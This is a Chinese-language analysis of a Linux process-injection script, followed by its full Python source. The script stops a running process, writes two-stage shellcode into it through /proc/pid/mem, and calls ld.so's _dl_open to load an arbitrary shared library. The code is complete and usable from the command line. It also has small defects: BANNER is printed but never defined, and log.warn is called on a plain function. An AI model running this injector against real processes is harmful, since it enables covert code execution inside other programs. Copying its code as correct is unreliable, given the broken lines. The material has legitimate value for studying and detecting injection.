原理是通过直接操作Linux进程的内存,将一个动态链接库(.so
文件)注入到正在运行的进程中。这种注入过程通常涉及高级的系统编程技巧,涉及到操作系统的低层机制。以下是对该脚本的详细分析:
1. ELF文件解析
ELF(Executable and Linkable Format)是Linux系统中可执行文件和共享库的标准格式。脚本利用pyelftools
库读取ELF文件,并查找动态链接器(ld.so
)中的 _dl_open
函数地址,以便稍后使用。
lookup_elf_symbol(elf_name, sym_name)
:
通过该函数,脚本可以找到特定符号(如_dl_open
)在内存中的偏移地址。这个地址之后会用于调用_dl_open
函数,将动态链接库加载到目标进程中。
2. Process Memory Injection
脚本的主要功能是将自己生成的机器代码(shellcode)注入到目标进程中,并执行它。这通常涉及对目标进程内存的读写操作。
-
dlinject(pid, lib_path, stopmethod="sigstop")
:
这是脚本的核心函数,负责对目标进程进行注入。具体步骤如下:-
定位目标进程的
ld.so
加载器:
通过查看/proc/{pid}/maps
文件,脚本找到目标进程的动态链接器ld.so
的基址和路径。ld.so
负责加载共享库,并包含_dl_open
函数。 -
计算_dl_open的绝对地址:
使用lookup_elf_symbol
函数确定_dl_open
在ld.so
中的偏移地址,并计算其在目标进程中的绝对地址。 -
暂停目标进程:
为了避免在注入过程中出现竞争条件,脚本提供了两种暂停目标进程的方法:SIGSTOP
: 使用os.kill
发送SIGSTOP
信号来暂停目标进程。cgroup_freeze
: 利用cgroup
的freezer
子系统将进程冻结,这需要管理员权限。
-
生成并写入第一阶段的Shellcode:
第一阶段的shellcode由汇编指令组成,由assemble()
函数通过调用gcc
将汇编代码编译成二进制数据。注入过程如下:- 将shellcode写入目标进程的内存,并覆盖原来的代码。
- 保存被覆盖的内存区域,以便稍后恢复。
-
恢复进程:
在注入阶段结束后,目标进程会继续执行注入的shellcode,这段shellcode的功能包括加载第二阶段的shellcode并跳转到它的入口执行。
-
3. Shellcode注入
Shellcode是一段能够执行特定任务的机器码,通常用于内存注入操作。本脚本中存在两个阶段的shellcode:
-
第一阶段shellcode:
- 将当前寄存器状态保存在栈中。
- 打开并读取存储第二阶段shellcode的文件,并将其加载到内存中。
- 跳转到第二阶段shellcode的入口地址,继续执行。
-
第二阶段shellcode:
- 恢复原始指令指针和栈内容,确保目标进程能够继续正常运行。
- 调用
_dl_open
函数,将指定的动态链接库加载到进程空间中。
4. 与目标进程的交互
注入过程中,脚本需要频繁与目标进程交互,具体包括:
-
读写
/proc/{pid}/mem
:
该文件提供对目标进程内存的直接读写访问,脚本使用它来向目标进程写入shellcode和读取原始数据。 -
读取
/proc/{pid}/syscall
:
该文件提供了目标进程当前执行的系统调用信息,脚本利用它获取目标进程的当前指令指针 (RIP
) 和栈指针 (RSP
)。
5. _dl_open的利用
_dl_open
是 ld.so
提供的一个内部函数,用于将共享库加载到进程空间中。通过调用该函数,脚本可以将指定的.so
文件注入到目标进程中,实现代码注入。
6. 恢复目标进程
注入操作完成后,脚本会:
- 恢复被覆盖的代码和寄存器状态。
- 恢复目标进程的执行,确保它能正常运行。
关键技术要点
- 系统调用:脚本在shellcode中使用大量的Linux系统调用,如
open
,mmap
,close
,write
等,这些调用直接与操作系统交互,执行对文件、内存的操作。 - ELF文件解析:通过解析ELF文件,脚本能找到动态链接器中关键函数的位置。
- 进程暂停与恢复:为了避免竞争条件,脚本必须能够准确地暂停和恢复目标进程的执行。
潜在风险与使用注意
- 需要管理员权限:脚本需要对目标进程的内存进行读写,通常需要管理员权限(
root
)。 - 安全与稳定性问题:该脚本涉及对进程内存的直接操作,可能会导致目标进程崩溃或引发系统不稳定,使用时需谨慎。
总结
总体而言,该脚本通过暂停目标进程,注入自定义shellcode,然后利用目标进程的动态链接器 _dl_open
函数加载共享库,从而实现了对目标进程的代码注入。它充分利用了Linux系统的底层机制,如ELF文件解析、进程内存操作、系统调用等,是一个典型的注入工具。
import argparse
import os
import re
import signal
import time
import subprocess
from elftools.elf.elffile import ELFFile
STACK_BACKUP_SIZE = 8 * 16
STAGE2_SIZE = 0x8000
def lookup_elf_symbol(elf_name, sym_name):
with open(elf_name, "rb") as elf_file:
elf = ELFFile(elf_file)
symtab = elf.get_section_by_name(".symtab")
if not symtab:
return None
syms = symtab.get_symbol_by_name(sym_name)
if not syms:
return None
return syms[0].entry.st_value
def ansi_color(name):
color_codes = {
"blue": 34,
"red": 91,
"green": 32,
"default": 39,
}
return f"\x1b[{color_codes[name]}m"
def log(msg, color="blue", symbol="*"):
print(f"[{ansi_color(color)}{symbol}{ansi_color('default')}] {msg}")
def log_success(msg):
log(msg, "green", "+")
def log_error(msg):
log(msg, "red", "!")
raise Exception(msg)
def assemble(source):
cmd = "gcc -x assembler - -o /dev/stdout -nostdlib -Wl,--oformat=binary -m64"
argv = cmd.split(" ")
prefix = b".intel_syntax noprefix\n.globl _start\n_start:\n"
program = prefix + source.encode()
pipe = subprocess.PIPE
result = subprocess.run(argv, stdout=pipe, stderr=pipe, input=program)
if result.returncode != 0:
emsg = result.stderr.decode().strip()
log_error("Assembler command failed:\n\t" + emsg.replace("\n", "\n\t"))
return result.stdout
def dlinject(pid, lib_path, stopmethod="sigstop"):
with open(f"/proc/{pid}/maps") as maps_file:
for line in maps_file.readlines():
ld_path = line.split()[-1]
if re.match(r".*/ld-.*\.so", ld_path):
ld_base = int(line.split("-")[0], 16)
break
else:
log_error("Couldn't find ld.so! (we need it for _dl_open)")
log("ld.so found: " + repr(ld_path))
log("ld.so base: " + hex(ld_base))
dl_open_offset = lookup_elf_symbol(ld_path, "_dl_open")
if not dl_open_offset:
log_error("Unable to locate _dl_open symbol")
dl_open_addr = ld_base + dl_open_offset
log("_dl_open: " + hex(dl_open_addr))
if stopmethod == "sigstop":
log("Sending SIGSTOP")
os.kill(pid, signal.SIGSTOP)
while True:
with open(f"/proc/{pid}/stat") as stat_file:
state = stat_file.read().split(" ")[2]
if state in ["T", "t"]:
break
log("Waiting for process to stop...")
time.sleep(0.1)
elif stopmethod == "cgroup_freeze":
freeze_dir = "/sys/fs/cgroup/freezer/dlinject_" + os.urandom(8).hex()
os.mkdir(freeze_dir)
with open(freeze_dir + "/tasks", "w") as task_file:
task_file.write(str(pid))
with open(freeze_dir + "/freezer.state", "w") as state_file:
state_file.write("FROZEN\n")
while True:
with open(freeze_dir + "/freezer.state") as state_file:
if state_file.read().strip() == "FROZEN":
break
log("Waiting for process to freeze...")
time.sleep(0.1)
else:
log.warn("We're not going to stop the process first!")
with open(f"/proc/{pid}/syscall") as syscall_file:
syscall_vals = syscall_file.read().split(" ")
rip = int(syscall_vals[-1][2:], 16)
rsp = int(syscall_vals[-2][2:], 16)
log(f"RIP: {hex(rip)}")
log(f"RSP: {hex(rsp)}")
stage2_path = f"/tmp/stage2_{os.urandom(8).hex()}.bin"
shellcode = assemble(fr"""
// push all the things
pushf
push rax
push rbx
push rcx
push rdx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
// Open stage2 file
mov rax, 2 # SYS_OPEN
lea rdi, path[rip] # path
xor rsi, rsi # flags (O_RDONLY)
xor rdx, rdx # mode
syscall
mov r14, rax # save the fd for later
// mmap it
mov rax, 9 # SYS_MMAP
xor rdi, rdi # addr
mov rsi, {STAGE2_SIZE} # len
mov rdx, 0x7 # prot (rwx)
mov r10, 0x2 # flags (MAP_PRIVATE)
mov r8, r14 # fd
xor r9, r9 # off
syscall
mov r15, rax # save mmap addr
// close the file
mov rax, 3 # SYS_CLOSE
mov rdi, r14 # fd
syscall
// delete the file (not exactly necessary)
mov rax, 87 # SYS_UNLINK
lea rdi, path[rip] # path
syscall
// jump to stage2
jmp r15
path:
.ascii "{stage2_path}\0"
""")
with open(f"/proc/{pid}/mem", "wb+") as mem:
# back up the code we're about to overwrite
mem.seek(rip)
code_backup = mem.read(len(shellcode))
# back up the part of the stack that the shellcode will clobber
mem.seek(rsp - STACK_BACKUP_SIZE)
stack_backup = mem.read(STACK_BACKUP_SIZE)
# write the primary shellcode
mem.seek(rip)
mem.write(shellcode)
log("Wrote first stage shellcode")
stage2 = assemble(fr"""
cld
fxsave moar_regs[rip]
// Open /proc/self/mem
mov rax, 2 # SYS_OPEN
lea rdi, proc_self_mem[rip] # path
mov rsi, 2 # flags (O_RDWR)
xor rdx, rdx # mode
syscall
mov r15, rax # save the fd for later
// seek to code
mov rax, 8 # SYS_LSEEK
mov rdi, r15 # fd
mov rsi, {rip} # offset
xor rdx, rdx # whence (SEEK_SET)
syscall
// restore code
mov rax, 1 # SYS_WRITE
mov rdi, r15 # fd
lea rsi, old_code[rip] # buf
mov rdx, {len(code_backup)} # count
syscall
// close /proc/self/mem
mov rax, 3 # SYS_CLOSE
mov rdi, r15 # fd
syscall
// move pushed regs to our new stack
lea rdi, new_stack_base[rip-{STACK_BACKUP_SIZE}]
mov rsi, {rsp-STACK_BACKUP_SIZE}
mov rcx, {STACK_BACKUP_SIZE}
rep movsb
// restore original stack
mov rdi, {rsp-STACK_BACKUP_SIZE}
lea rsi, old_stack[rip]
mov rcx, {STACK_BACKUP_SIZE}
rep movsb
lea rsp, new_stack_base[rip-{STACK_BACKUP_SIZE}]
// call _dl_open (glibc/elf/dl-open.c)
lea rdi, lib_path[rip] # file
mov rsi, 2 # mode (RTLD_NOW)
mov rdx, {dl_open_addr} # caller_dlopen - needs to be "valid" on older libcs
xor rcx, rcx # nsid (LM_ID_BASE) (could maybe use LM_ID_NEWLM)
mov rax, {dl_open_addr}
call rax
fxrstor moar_regs[rip]
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
popf
mov rsp, {rsp}
jmp old_rip[rip]
old_rip:
.quad {rip}
old_code:
.byte {",".join(map(str, code_backup))}
old_stack:
.byte {",".join(map(str, stack_backup))}
.align 16
moar_regs:
.space 512
lib_path:
.ascii "{lib_path}\0"
proc_self_mem:
.ascii "/proc/self/mem\0"
new_stack:
.balign 0x8000
new_stack_base:
""")
with open(stage2_path, "wb") as stage2_file:
os.chmod(stage2_path, 0o666)
stage2_file.write(stage2)
log(f"Wrote stage2 to {repr(stage2_path)}")
if stopmethod == "sigstop":
log("Continuing process...")
os.kill(pid, signal.SIGCONT)
elif stopmethod == "cgroup_freeze":
log("Thawing process...")
with open(freeze_dir + "/freezer.state", "w") as state_file:
state_file.write("THAWED\n")
# put the task back in the root cgroup
with open("/sys/fs/cgroup/freezer/tasks", "w") as task_file:
task_file.write(str(pid))
# cleanup
os.rmdir(freeze_dir)
log_success("Done!")
if __name__ == "__main__":
print(BANNER)
parser = argparse.ArgumentParser(
description="Inject a shared library into a live process.")
parser.add_argument("pid", metavar="pid", type=int,
help="The pid of the target process")
parser.add_argument("lib_path", metavar="/path/to/lib.so", type=str,
help="Path to the shared library we want to load")
parser.add_argument("--stopmethod",
choices=["sigstop", "cgroup_freeze", "none"],
help="How to stop the target process prior to shellcode injection. \
SIGSTOP (default) can have side-effects. cgroup freeze requires root.\
'none' is likely to cause race conditions.")
args = parser.parse_args()
abs_path = os.path.abspath(args.lib_path)
dlinject(args.pid, abs_path, args.stopmethod or "sigstop")